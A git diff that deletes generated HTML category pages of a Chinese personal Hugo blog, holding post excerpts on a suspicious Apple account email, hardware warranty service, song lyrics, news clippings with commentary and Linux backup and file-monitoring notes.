    - - - 今天早上收到的,而且還真的是我的apple ID的信箱? -是真的APPLE被駭了?還是手機的APP有問題?? -  Dear Apple Customer, To g! et back into your apple account, you’ll need to confirm your account . It’s easy: Click the button below to open a secure browser window. Confirm that you’re the owner of the account and then follow the instructions. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    宇瞻 Apacer 的客服/維修服務真是好!

    -
    - - - 2013-10-01 - - - - - - - - - 其他 - - - - - -
    - - - 剛剛電腦上的例行備份工作跳出警告,顯示無法寫入目標磁區, 開檔案總管一看,代號還在,但是無法進入,顯示無法讀取。 嘗試格式化,也發生錯誤,無法格式化,想說終保(應該吧) 花個掛號費去換一張回來好了。 所以我從NB內建的SD卡槽直接把SD卡抽出來, 然後這張卡就在我抽出來的同時解體了!!….WTF ! 這張卡從買來就一直插在NB上,印象中沒有抽拔過幾次。 沒想到這次拔出來要送修就整張解體 = = 等等還是硬著頭皮送看看好了….. 解體圖…http://www.flickr.com/photos/chang0206/9930290464/ Dear Customer, Please be informed that below RMA goods were packed on 2013/9/30 and will be sent to you shortly. 親愛的客戶您好: 您的RMA貨物已於 2013/9/30 備貨完畢,將於近日寄送給您. -Apacer RMA Shipping Report Summary - RMA NO: XXXXXXXXXXXXXXXXXXX Customer: User 寄送 Shipping Date: 2013/9/30   Item - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    依稀-安靜聽完這一首

    -
    - - - 2013-07-29 - - - - - - - - - 其他 - - - - - -
    - - - 他说过就算分手 也要做朋友 他笑的时候光芒都将我刺透 回想那甜蜜的温馨的每一刻 流着泪也要你快乐 祝福的话 我要怎么备注 把想他的话 一句句变音符 收拾好情绪 避免 渐渐麻木 忘记他已经 有了归属 要看开一点 微笑却没余地 没有他在 学不会收拾那情绪 是他不懂珍惜 还是我太任性 时间会将 这一切治愈 可我还是不习惯 没有他的温柔 拿着相片情不自禁发呆 我想我还爱 他说过就算分手 也要做朋友 他笑的时候 光芒都将我刺透 回想那甜蜜的 温馨的每一刻 流着泪 也要你快乐 他说过他会爱我 一直到永久 他说了太多 分手要给我自由 既然无法承受 也别再多找借口 就安静 听完这一首 要看开一点 微笑却没余地 没有他在 学不会收拾那情绪 是他不懂珍惜 还是我太任性 时间会将 这一切治愈 可我还是不习惯 没有他的温柔 拿着相片情不自禁发呆 我想我还爱 他说过就算分手 也要做朋友 他笑的时候 光芒都将我刺透 回想那甜蜜的 温馨的每一刻 流着泪 也要你快乐 他说过他会爱我 一直到永久 他说了太多 分手要给我自由 既然无法承受 也别再多找借口 就安静 听完这一首 他说过就算分手 也要做朋友 他笑的时候 光芒都将我刺透 回想那甜蜜的 温馨的每一刻 流着泪 也要你快乐 他说过他会爱我 一直到永久 他说了太多 分手要给我自由 既然无法承受 也别再多找借口 就安静 听完这一首 - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    劉德華 - 練習

    -
    - - - 2013-07-21 - - - - - - - - - 其他 - - - - - -
    - - - 如果留下多一秒鐘可以減少明天想你的痛 -我會願意放下所有交換任何一絲絲可能的佔有 幸福只剩一杯沙漏 眼睜睜看著一幕幕甜蜜不會再有 原本平凡無奇的擁有 到現在竟像是無助的奢求 -我已開始練習 開始慢慢著急著急這世界沒有你 已經和眼淚說好不哭泣 但倒數計時的愛該怎麼繼續 我天天練習 天天都會熟悉 在沒有你的城市裡試著刪除每個兩人世界裡 那些曾經共同擁有的一切美好和回憶 -愛是一萬公頃的森林迷了路的卻是我和你 不是說好一起闖出去怎能剩我一人回去…回去 -http://www.youtube.com/watch?v=BUgwXRhVla4 -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    周杰倫Jay & 田馥甄Hebe - 答應不愛你

    -
    - - - 2013-07-12 - - - - - - - - - 其他 - - - - - -
    - - - 幽,妳能瞭解嗎? -明明愛很清晰 卻又接受分離 我只剩思念的權利 難過還來不及 愛早已融入呼吸 不存在的存在心底 -雖然很努力 練習著忘記 我的心卻還沒答應可以放棄了你 真的對不起 答應了你不再愛你 我卻還沒答應我自己 -明明愛很清晰 卻要接受分離 我只剩思念的權利 難過還來不及 就讓愛融入空氣 不存在的存在心底 -說好要忘記 偏偏又想起 原來我的心還沒有答應放棄了你 真的對不起 雖然曾經答應了你 我卻還沒答應我自己 卻又如何真的不愛你 -http://www.youtube.com/watch?v=dDqHcW4Q7oo -  -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [雜念] 群暉科技 synology 的Support 客服人員 請不要再犯一樣的錯誤了,好嗎?

    -
    - - - 2013-05-06 - - - - - - - - - 其他 - - - - - -
    - - - update: 群暉客服來信表示,希望拿掉信件中的客戶聯絡EMAIL、電話、機器序號等資訊。所以,就拿掉了.. -大概是去年五月份左右吧,某一天我突然收到群暉的技術支援發的信件。 -內容如下 > Fwd: Synology Online Support #124653: [DS1010+ DSM 3.2-1955] [sameera] > > > Synology Technical Support <support@synology.com> > > > Hi Eric, > > > Sorry to trouble > > Support need your expertise for this inquiry: > > > [Environment] > > > Win2000/Win7 > > Multiple Sessions(iSCSI) > > > [Symptom] > > > A customer who uses multiple sessions from initiators to connect the same iSCSI target at the same time. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/其他/page/7/index.html b/themes/public/categories/其他/page/7/index.html deleted file mode 100644 index 8e8ec3d7..00000000 --- a/themes/public/categories/其他/page/7/index.html +++ /dev/null @@ -1,548 +0,0 @@ - - - - - - - - - - 其他 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [PTT][討論] 台灣女星為什麼都不喜歡露點?

    -
    - - - 2013-04-10 - - - - - - - - - 其他 - - - - - -
    - - - 電影版-[討論] 台灣女星為什麼都不喜歡露點? 其中一則推文如下! > dqdq:不露才有機會進豪門,露點的最多進藍寶堅尼車門 超中肯! - - - -
    - - - - -
    - - -
    - -
    - - - - - - - - -
    - -
    - - - - - - - - -
    - -
    - - - - - - - - -
    - - - -
    - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/剪報/page/1/index.html b/themes/public/categories/剪報/page/1/index.html deleted file mode 100644 index 06c5b409..00000000 --- a/themes/public/categories/剪報/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/categories/%E5%89%AA%E5%A0%B1/ \ No newline at end of file diff --git a/themes/public/categories/剪報/page/2/index.html b/themes/public/categories/剪報/page/2/index.html deleted file mode 100644 index ac47d946..00000000 --- a/themes/public/categories/剪報/page/2/index.html +++ /dev/null @@ -1,756 +0,0 @@ - - - - - - - - - - 剪報 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [剪報] 到站就出不去 上班族氣:叫主管出來罰站

    -
    - - - 2013-04-26 - - - - - - - - - 剪報 - - - - - -
    - - - 最後不知道是台鐵先到還是高鐵先到?? 到站就出不去 上班族氣:叫主管出來罰站 【聯合報╱記者李奕昕、周宗禎、羅緗綸、梁雅雯/連線報導】 2013.04.26 03:06 am 高鐵昨停擺四小時,正值尖峰通勤時間,上班族趕不上開會、病人跟醫師約診「放鴿子」,有旅客「叫主管出來罰站!」怒火聲中,也有旅客很淡定,美籍工程師大衛就說:「搭過紐約地鐵就不會抱怨!」高鐵停擺,通勤族到站發現列車不開,焦急如熱鍋螞蟻,直說「慘了,會被客戶罵死!」 -日用品公司業務員何餘芳跟客戶約在台北談合約,眼見高鐵始終沒有告知明確發車時間,忍不住埋怨,「就算遲到,禮貌上也要說明到達時間,但完全估算不出來!」結果同事搭自強號,他等高鐵,「看誰先到台北。」 -網路公司林姓工程師十點要到高雄開會,「人家董事長、總經理已經坐在會議室,我回去怎麼向老闆交代?」一名從台南到台中的乘客,得知只能退回與對號座的差價廿五元,痛罵「叫主管罰站四小時,我給他廿五元!」 -站務人員說,除了颱風或地震,從沒遇過如此大規模停駛,考驗危機處理能力,被旅客罵到灰頭土臉,只能摸摸鼻子檢討,「難得的震撼教育!」 -眾人一片罵聲中,紐約美籍工程師大衛說,多次搭高鐵第一次誤點,他在美國老家搭地鐵曾受困數小時,連大哥大都不通,要抱怨還不知該找誰。 -加拿大媳婦瑪莉安家人原本約了攝影師,要在台北為她與新生兒拍紀念照,等了兩個多小時仍等不到車,最後被迫放棄行程,不會說中文的瑪莉安笑說,「就改天吧,沒關係啦!」 -「我們遠足,很好啊!」新竹縣五峰鄉花園國小和竹林分校四十九名師生畢業旅行,師生清晨六點卅從山區出發,到中午才上車,參訪高雄橋頭糖廠行程取消,師生利用等車時間,前往新竹新瓦屋文化保存區遊覽。 - 【2013/04/26 聯合報】@ http://udn.com/ 全文網址: 到站就出不去 上班族氣:叫主管出來罰站 | 高鐵首次大停駛 | 國內要聞 | 聯合新聞網 Power By udn.com - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [剪報] 被控隱瞞凶宅 仲介判賠225萬

    -
    - - - 2013-04-25 - - - - - - - - - 剪報 - - - - - -
    - - - 96-100年 ,成交價從300—–> 525 -巧的是買賣的人持有都不久,這不是炒房是啥? -啊不就最後一手最倒楣所以才爆出來… 【聯合報╱記者歐陽良盈、蘇郁涵/高雄報導】 2013.04.25 03:26 am 高雄市三民區91年發生一件女講師命案,事隔多年,房子幾次轉手買賣都不順,100年買家陳淑貞透過仲介買下這間房子,後來發現自己買的是凶宅提告,高雄地院審理判仲介公司賠償225萬元。全案還在上訴中。 -判決指出,紀姓男子96年時向蔡姓屋主購買這間凶宅,後來紀男想賣屋,和買家陳聯進談妥以300萬元交易房子,事後陳聯進不買了,替紀姓屋主委託仲介公司找買主,買家陳慧雯以430萬元購得,當時陳慧雯並不知道自己買的是凶宅。 -據了解,陳慧雯從事服飾買賣,簽約買屋後發現資金不足,再透過同家仲介找買家,100年7月時和新買主陳淑貞以525萬元成交。陳淑貞付完錢並辦妥權轉登記後,發現自己買到的是重大刑案凶宅,求償225萬元和13萬多的房屋稅和保險費等。 -判決指出,陳聯進委託仲介售屋時在房地產標的現況說明書上的「曾發生凶殺或自殺致死情事」欄中勾選「是」,後來與陳慧雯成交要簽訂房屋買賣契約時又塗改,改成在「否」欄項打勾。 -法官認為,仲介公司沒有善盡調查的義務,這件女講師命案當時震驚社會,後來嫌犯還被判死刑定讞,列為重大刑案,被媒體多次報導披露,承接的張姓仲介員是有證照的專業人員,且凶宅左鄰右舍常主動向有意洽購者提醒該屋是凶宅,認為張姓仲介不應該不知情。 -張姓仲介認為判決結果與事實不符,表示公司會再上訴,她辯稱,自己當初是與陳聯進接洽,談買賣房屋的過程中,陳姓屋主否認房子是凶宅,「我全程有錄音,這可成為呈堂證供」。為了保險起見,她還問了附近居民、警察,及上「凶宅網」查詢,結果顯示房子不是凶宅。 - 【2013/04/25 聯合報】@ http://udn.com/ 全文網址: 被控隱瞞凶宅 仲介判賠225萬 | 法律前線 | 社會新聞 | 聯合新聞網 Power By udn.com - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [剪報] 志工送餐 扁嗑光鼎泰豐小籠包

    -
    - - - 2013-04-22 - - - - - - - - - 剪報 - - - - - -
    - - - 坐牢的人,住得比我大間,吃得比我好上不知道多少,馬的,我真該好好檢討檢討! 【聯合報╱記者趙容萱、游振昇/台中報導】 2013.04.22 04:30 am 前總統陳水扁移監台中監獄培德醫院第三天,扁仍拒吃獄中伙食,三餐都吃光支持者送來的食物,昨天午餐吃牛肉炒麵、牛肉湯,晚餐有鼎泰豐小籠包、雞湯等,阿扁胃口不錯,都吃光了。挺扁團體台灣志工隊成員林一方及鄭羽秀連續三天送餐,她說,很多支持者希望送食物給阿扁,拜託志工隊代轉,但志工隊知道阿扁個性,扁不接受不熟悉者送來的食物,因此婉拒支持者好意,由志工隊負責採買、送餐。 -林一方說,他和鄭羽秀都是和阿扁熟識十多年的好朋友,阿扁的伙食一向由扁辦統籌,負責平日的送餐,台灣志工隊則負責假日送餐,阿扁移監台中,剛到一個新環境,不信任獄方提供的食物,昨天他和鄭羽秀來送餐,就是要讓阿扁放心、心情也會好一點。 -台中監獄副典獄長陳金峰說,送進監獄給扁的食物,和其他受刑人一樣,都須經過嚴格檢查,雞、鴨、魚、肉須煮熟後切開,豬需去骨以利檢查,湯類、冷凍品、結冰品、含酒精成分的菜,如燒酒雞等都拒收。 -此外,台中監獄外陸續有陳水扁的支持者聚集、聲援,並表示要長期如此,經警方與獄方協調後,同意比照江陳會在台中舉辦模式,今天起劃設意見表達專區,開放支持者使用。 -警方說,闢設意見表達專區,可避免挺扁民眾聲援行動影響其他探監家屬的進出,也比較不會發生突發事件。 全文網址: 志工送餐 扁嗑光鼎泰豐小籠包 | 陳水扁轉送培德 | 國內要聞 | 聯合新聞網 Power By udn.com - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [剪報] 2歲童近視500度 都是iPad惹的禍?

    -
    - - - 2013-04-18 - - - - - - - - - 剪報 - - - - - -
    - - - 【聯合報╱記者汪莉絹/綜合報導】 2013.04.18 03:49 am 大陸兒童近視眼出現低齡化趨勢,而電子產品正是兒童的視力殺手,武漢一名兩歲半男童因長期玩iPad,近視達五百度,大陸國家衛生和計畫生育委員會日前發布警示,提醒家長儘量避免讓兩歲以下兒童操作電子影像產品。 -武漢晚報報導,一名男童華華(假名)今年兩歲半,最近一段時間,他的媽媽發現他看東西常瞇著眼睛,帶到醫院眼科檢查,發現近視達五百度。華華的媽媽說,華 華一歲半就開始接觸iPad,大人也樂得輕鬆,只要孩子哭鬧,就拿出iPad給他玩。半年前華華的媽媽又買回iPad3,華華玩iPad的時間越來越長。 醫生說,正是由於過度使用iPad,華華才會假性近視。 -中南醫院眼科醫生說,因過多接觸電子產品導致視力損傷的幼兒,並不少見。兒童醫院裡近視的孩子越來越多,兒童近視有提早的趨勢。 - 全文網址: 2歲童近視500度 都是iPad惹的禍? | 陸港傳真 | 兩岸台商 | 聯合新聞網 Power By udn.com - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [剪報] 日本發表世界最速2Gbps光纖網路

    -
    - - - 2013-04-15 - - - - - - - - - 剪報 - - - - - -
    - - - 今天在PTT八卦版看到的PO文 -作者 nemesis0 (レイ) 看板 Gossiping 標題 [爆卦] 日本發表世界最速2Gbps光纖網路 時間 Mon Apr 15 16:39:07 2013 ─────────────────────────────────────── -So-net、“世界最速”最大2GbpsのFTTHサービス「NURO 光」~月額4980円から -ソネットエンタテインメント株式会社は15日、光ファイバーインターネット通信 サービスの新ブランド「NURO 光」を発表した。 -最大通信速度は下り2Gbps、上り1Gbps。 -個人用の商用FTTHサービスでは世界最速だという。 -宅内終端装置には1Gbpsの有線LANポートのほか、 -最大450Mbpsの無線LAN機能(IEEE 802.11a/b/g/n、2.4GHz/5GHz)も標準装備する。 -月額料金は、2年継続の場合で4980円。このほか契約料が840円、 -基本工事費が3万1500円。 -提供エリアは、関東1都6県。 -戸建て住宅および2階建て以下の集合住宅を対象に、同日より受付を開始する。 摘要:So-net於15日發表下載2Gbps 上傳1Gbps的光纖網路服務「NURO 光」。 -為目前世界最快的個人商用光纖網路。 -費用為每月4980yen(約台幣1500元),提供服務範圍為關東1都6縣。 -補充:最後一行的意思是,當天開始為獨棟住戶及二層樓以下的公寓住戶提供服務。 -住日本的快去申請!!! -其中有位鄉民的推文 -推 faratia:人家都叫雞了,我們還在把妹 04/15 16:41 -說得真好啊! -  - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [剪報] 《要千人只4人錄取》佳能大林廠 作業員難找

    -
    - - - 2013-04-14 - - - - - - - - - 剪報 - - - - - -
    - - - 每月可領二萬元,是一般薪資的中上程度 -連這種話都說得出口!?這種資方媽的腦袋是有什麼問題?? -為什麼不去非洲國家開這種薪資,好讓大家把你當神崇拜!? -  -《要千人只4人錄取》佳能大林廠 作業員難找 地偏徵人不易 廠方考慮調整薪資與工作量 〔記者吳世聰/嘉縣報導〕去年六月開始營運的台灣佳能大林廠,有千人的正式作業員缺額,但昨天在嘉義縣政府創新學院舉辦的徵才活動,竟只有十八人投遞履歷表,經面試只錄取四人,廠方坦承徵人不易,會想辦法調整工作量及薪資待遇,改善「人才荒」的問題。 -來台設廠的日本佳能公司,在大林鎮大埔美智慧工業區設立大林廠,去年六月開始營運,以製造數位相機及交換鏡頭為主,目前已經僱用二千二百名員工。 -廠方表示,目前每個月不足的正式作業人員約有二百人,累積到年底預估不足近千人,廠方「強力招募」人力,希望年底僱用的人員能達到三千人的目標。 -廠方為了補足人力,除了每天在廠內受理面試外,昨天也在創新學院舉辦徵才活動,但場面十分冷清,只有十八人投遞履歷表,面試雙方合議,只錄取四人,廠方坦承招募作業員有困難度,但會設法克服。 -廠方指出,大林廠與台中廠的薪資及福利都一樣,但台中廠找的到人力,大林廠卻應徵不到人,分析原因,有可能是大林廠已經僱用了二千二百人,而嘉義地區的子弟原本就有限,加上大林廠區地點偏僻,生活機能較不完備,無法吸引外來人口及年輕人留下來工作。 -廠方人員表示,目前台灣佳能的正式作業員,時薪是一百零九元,享有勞、健保及六%的勞退金,也有婚喪喜慶補助及免費提供員工宿舍,每月可領約二萬元,是一般薪資的中上程度。不過,有應徵及離職者認為,廠方所開出的薪水普遍偏低,難以維持基本生活需求。 -廠方強調,將持續徵人,若「人才荒」無法解決的話,將考量調整工作量、薪資及提高福利,以吸引更多人加入。 -原文: http://www.libertytimes.com.tw/2013/new/apr/14/today-center1.htm - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [剪報] 張柏芝玩跳水 遭陸官方打回票

    -
    - - - 2013-04-11 - - - - - - - - - 剪報 - - - - - -
    - - - 這種鬼理由,全世界大概也只有中國敢明目張膽這樣搞吧! 張柏芝玩跳水 遭陸官方打回票 【聯合報╱記者闕志儒/台北報導】 2013.04.11 03:20 am   張柏芝資格審查未過,目前難登「水立方」。 圖/CFP 被 港媒虧「票房毒藥」的張柏芝,近來轉型為「綜藝咖」,頻登大陸綜藝節目秀才藝,外傳她以每集200萬台幣天價參加江蘇衛視「星跳水立方」,並已在香港練習 跳水多時,也為「水立方」拍攝宣傳影片,卻遲遲未見她現身比賽,據查,張柏芝仍未通過大陸廣電總局批准,理由竟是「中共老幹部不喜歡張柏芝穿泳裝」。 - 全文網址: 張柏芝玩跳水 遭陸官方打回票 | 熱門星聞 | 娛樂追星 | 聯合新聞網 http://udn.com/NEWS/ENTERTAINMENT/ENT1/7822832.shtml#ixzz2Q6yN2ldk Power By udn.com   - - - -
    - - - - -
    - - -
    - - - -
    - - Older posts - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/剪報/page/3/index.html b/themes/public/categories/剪報/page/3/index.html deleted file mode 100644 index d8238292..00000000 --- a/themes/public/categories/剪報/page/3/index.html +++ /dev/null @@ -1,573 +0,0 @@ - - - - - - - - - - 剪報 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [剪報] 彰化直擊/二林病死雞池塘 無關H7N9

    -
    - - - 2013-04-06 - - - - - - - - - 剪報 - - - - - -
    - - - 史上最厲害檢疫人員出現,連採樣送驗都不用,看腐爛的屍體就知道跟H7N9無關! -這人根本是國寶啊!請政府好好保護,必要時直接派去需要如此高超技術的國家協助作檢疫工作! -  【聯合報╱記者凌筠婷、簡慧珍/彰化縣報導】 2013.04.06 03:14 am   彰化二林鎮許姓養豬戶的池塘,昨發現一百多隻死雞,初步排除與H7N9禽流感有關。 記者凌筠婷/攝影 大陸H7N9疫情持續的敏感時刻,彰化二林鎮許姓養豬戶的池塘,昨發現一百多隻死雞,還有不少病懨懨活雞;防疫人員排除與H7N9禽流感有關,懷疑許以死雞做為豬食,他否認,辯稱是被人偷載丟棄。 -許姓養豬戶的養豬場在二林鎮北平里照西路旁,昨天有民眾檢舉堆放病死雞;防疫人員前往處理時病死雞已不見蹤影,卻在養豬場後方約一百公尺的池塘,發現浮滿病死雞的屍體。 -防疫人員表示,死雞腐爛快,所以很難辨別已堆放幾天,「但絕對不只一天」。許姓養豬戶表示,他和太太平常餵豬後就離開,沒看到可疑車輛,也沒有聞到雞屍臭味。 -許表示,池塘雖是他所有,當初想要養吳郭魚,後來因為實在太忙沒空照料,就閒置在那裡;不知道是誰把死雞丟來這裡,他的豬都是吃餿水和飼料。 -動物防疫所人員找來怪手,撈起池塘裡一百多隻病死雞,全都是蛋雞。因腐爛嚴重無法採集完整檢體,初步排除與H7N9禽流感有關,防疫人員將雞屍噴灑消毒液後就地掩埋。 -彰化縣養雞協會聽說二林鎮出現病死雞,十分重視,下午派員前往了解。理事長陳國村表示,養雞場的正常折損率為萬分之五,彰化縣包括肉雞與蛋雞每天約有一萬隻雞死亡,都交給禽畜化製場再製成動物飼料,不可能外流。 -彰化縣農業局長郭丑哲表示,目前正值大陸H7N9疫情蔓延的敏感時刻,為確保防疫沒有缺口,將與警方連繫,調閱路口監視畫面追查,並加強管控病死雞流向。 - 全文網址: 彰化直擊/二林病死雞池塘 無關H7N9 | 禽流感疫情延燒 | 國內要聞 | 聯合新聞網 - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [剪報] 顏炳立:北市高房價 問題在求過於供

    -
    - - - 2013-04-02 - - - - - - - - - 剪報 - - - - - -
    - - - 這不是愚人節笑話…. 顏炳立:北市高房價 問題在求過於供 2013/04/01 【聯合晚報╱記者游智文╱台北報導】張金鶚今天上任台北市副市長,並在臉書公布五大目標方向,戴德梁行總經理顏炳立上午表示,張金鶚提出的方向,如能落實,可解決北市高房價困境,降低民怨,但要做到不容易,他期待張金鶚能夠做得到。 -顏炳立和張金鶚這幾年對房市看法南轅北側,市場分別給與多頭和空頭總司令稱號,雙方上電視時並常常激烈交火。張金鶚在臉書所說的五大目標方向,對房市較有關聯的包括加速都更腳步、推動公營住宅普及化及空屋利用、強化不動產市場資訊透明度、對民間發布的市場資訊進行管理與規範、推動實價課稅,但自用、出租住宅宜輕稅,其他加重等。 -顏炳立表示,台北市高房價的根本的問題在需求遠大於供給,如果張金鶚能縮短都更時程,短時間內能夠提供一定量體,擴大市場供給,確可解決高房價問題。 -至於張金鶚提出實價課稅,目前能做的就是提高精華地段或豪宅公告現值或房屋評定現值,但再怎麼提高對豪宅屋主仍是九牛一毛,影響不大,至於交易資訊公開透明,以已上路的實價揭露來看,對市場並沒有直接影響,房市好壞關鍵仍在大環境經濟景氣。 - 全文網址:udn房市情報 - 達人專欄 - 名人看房市 - 顏炳立:北市高房價 問題在求過於供 -底下是2011年的一份報導 -全台空屋率創高 156萬戶 自由時報 – 2011年10月26日記者林美芬/台北報導 -根據行政院主計處2010年住宅普查數據,全台的空屋率達到19.4%,換成戶數高達156萬戶,創歷年新高,其中空屋率最嚴重的是台中市26.2%,但空屋最多的卻是新北市33萬戶,其次是桃園縣15.37萬戶。 -行政院主計處是每十年做一次住宅普查,其中空屋率是空屋佔住宅數比率,空屋定義則是無人經常居住,且未供其他用途。這份資料已經內部完成,不過尚未對外公布,是一份尚未正式核定的初步統計資料。 -根據同一份調查,1990年的空屋數是67萬戶,2000年調查全台空屋122萬戶,2010年增加了34萬戶,達到156萬戶,也就是20年來,全台累計增加的空屋高達89萬戶。 -全台主要都會空屋情況,空屋率最高的是台中市,達到26.2%,約是12.3萬戶,十年來是沒有多大變動,其次是基隆市25.2%,不過戶數其實只有5萬戶而已。 -但是,空屋率跳升最快的是新北市,從2000年22萬戶的17.4%,2010年跳升到33萬戶,空屋率上升約5%,達到22.1%,桃園縣則是比例減少,但空屋一樣增加, 2000年13.2萬戶、23.2%; 2010年增加2萬多戶,達15.37萬戶、21%。 -至於最受到矚目的台北市,2010年的空屋是12.7萬戶,空屋率13.8%,相較於2000年,空屋10萬戶、比率為12.2%,多2.7萬戶。 -新竹縣是近來房市最夯的縣市之一,根據調查結果,2000年空屋數為2.5萬戶、20%;到了2010年空屋數提高至3.2萬戶,空屋存量約是近7000戶。至於合併前的高雄市空屋數11.4萬戶、19.4%,高雄縣則是約6萬戶。 -台北市的空屋率還有13.8% ,這樣的數據叫做需求大於供給??這種話,這些商人怎麼能夠昧著良心,毫不猶疑就在大眾媒體上發表?? - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [剪報] 賴素如 觸犯「不違背職務收賄」

    -
    - - - 2013-03-29 - - - - - - - - - 剪報 - - - - - -
    - - - 【聯合報╱記者林志函/台北報導】 2013.03.29 03:07 am 台北市議員賴素如被控收賄,再利用質詢、提案等方式,幫廠商取得優先議約權,觸犯「不違背職務收賄」。什麼是不違背職務收賄?什麼又是違背職務收賄? -舉例來說,如果甲承包政府工程,沒有依合約規定施工,依法不能通過驗收。甲希望工程過關,拿錢給監督驗收的公務員,或是招待喝花酒,公務員讓驗收通過,便觸犯「違背職務收賄」。 -如果甲的工程都依約並符合驗收標準,但是為了快速通過驗收,請公務員喝花酒或提供性招待、給予其他好處,這名公務員便觸犯「不違背職務收賄」。 -一名法官說,分辨兩者很簡單,只要考慮「公務員不收錢,他的行為有沒有違法」,如果觸法就是違背職務,沒犯法便是不違背職務。刑法規定,違背職務收受賄賂可處十年以上有期徒刑,最重能判到無期徒刑,不違背職務收賄的刑度則是七年以上有期徒刑。 -一名律師表示,賴素如若沒收錢只是護航圖利廠商,可能只構成貪汙治罪條例第六條,處五年以上有期徒刑;她若收錢,還得確認她有沒有主動開口要錢、有沒有和廠商約定,質詢時是否施壓或超出質詢範圍,才能認定構不構成犯罪。 - 這麼早就已經在開始預告將來的步數了??真的是很難看… 全文網址: 賴素如 觸犯「不違背職務收賄」 | 檢調查雙子星案 | 國內要聞 | 聯合新聞網 http://udn.com/NEWS/NATIONAL/NATS4/7796085.shtml#ixzz2OsvcFiRi Power By udn.com - - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [剪報]台大醫之死/學者憂心拚論文 像吃藥上癮 - 新聞追追追 - 文教要聞 - udn文教職考

    -
    - - - 2013-03-14 - - - - - - - - - 剪報 - - - - - -
    - - - 台灣的大學評鑑、教授升等、院聘教授或傑出學者的選拔,都只重視SCI的論文指數,「校園內充斥著低頭盤算論文數量,就像累積便利商店的點數」,形成一窩蜂為發表而發表的論文,卻與實際應用及產業需求嚴重脫節,最後變成偏離正軌。 全文網址: 台大醫之死/學者憂心拚論文 像吃藥上癮 - 新聞追追追 - 文教要聞 - udn文教職考 - - - -
    - - - - -
    - - -
    - - - -
    - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/categories/工作筆記/index.html b/themes/public/categories/工作筆記/index.html deleted file mode 100644 index 155e39af..00000000 --- a/themes/public/categories/工作筆記/index.html +++ /dev/null @@ -1,784 +0,0 @@ - - - - - - - - - - 工作筆記 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] obnam - snapshot tool under CentOS Linux

    -
    - - - 2017-01-23 - - - - - - - - - 工作筆記 - - - - - -
    - - - 這幾天一直在玩一些備份用的工具,像是rsnapshot / dsnapshot / zfs-auto-snapshot等等 -不過都不是很滿意,有的是設定不方便,有的是速度太慢,有的是沒有dedup功能 -本來是已經打算就加硬碟,用ZFS當檔案系統來處理 -後來看到有這個軟體 obnam -看起來似乎滿強的 -官網的介紹如下 > Obnam is an easy, secure backup program. Backups can be stored on local hard disks, or online via the SSH SFTPprotocol. The backup server, if used, does not require any special software, on top of SSH. > > > Some features that may interest you: > > > * Snapshot backups. Every generation looks like a complete snapshot, so you don’t need to care about full versus incremental backups, or rotate real or virtual tapes. - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記] CentOS Linux 底下,偵測檔案內容異動 發信通知

    -
    - - - 2017-01-12 - - - - - - - - - 工作筆記 - - - - - -
    - - - 最近在玩很久以前弄好的Smokeping裡面的Notify功能,希望能在VPN斷線的時候,第一時間得到訊息 -雖然設定好了,但感覺Smokeping在送出警告信件的速度有點慢 -所以另外找了個方法去檢查 smokeping.log,當檔案內容有異動時,就會發信通知,然後放到crontab裡,每分鐘檢查一次 -程式內容如下 -  > #!/usr/bin/env bash > > # > > # Provides : Check if a file is changed > > # > > # Limitations : none > > # Options : none > > # Requirements : bash, md5sum, cut > > # > > # Modified : 11|07|2014 > > # Author : ItsMe > > # Reply to : n/a in public > > # > > # Editor : joe > > # > > ##################################### > > # > > # OK - lets work > > # > > > # what file do we want to monitor? - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

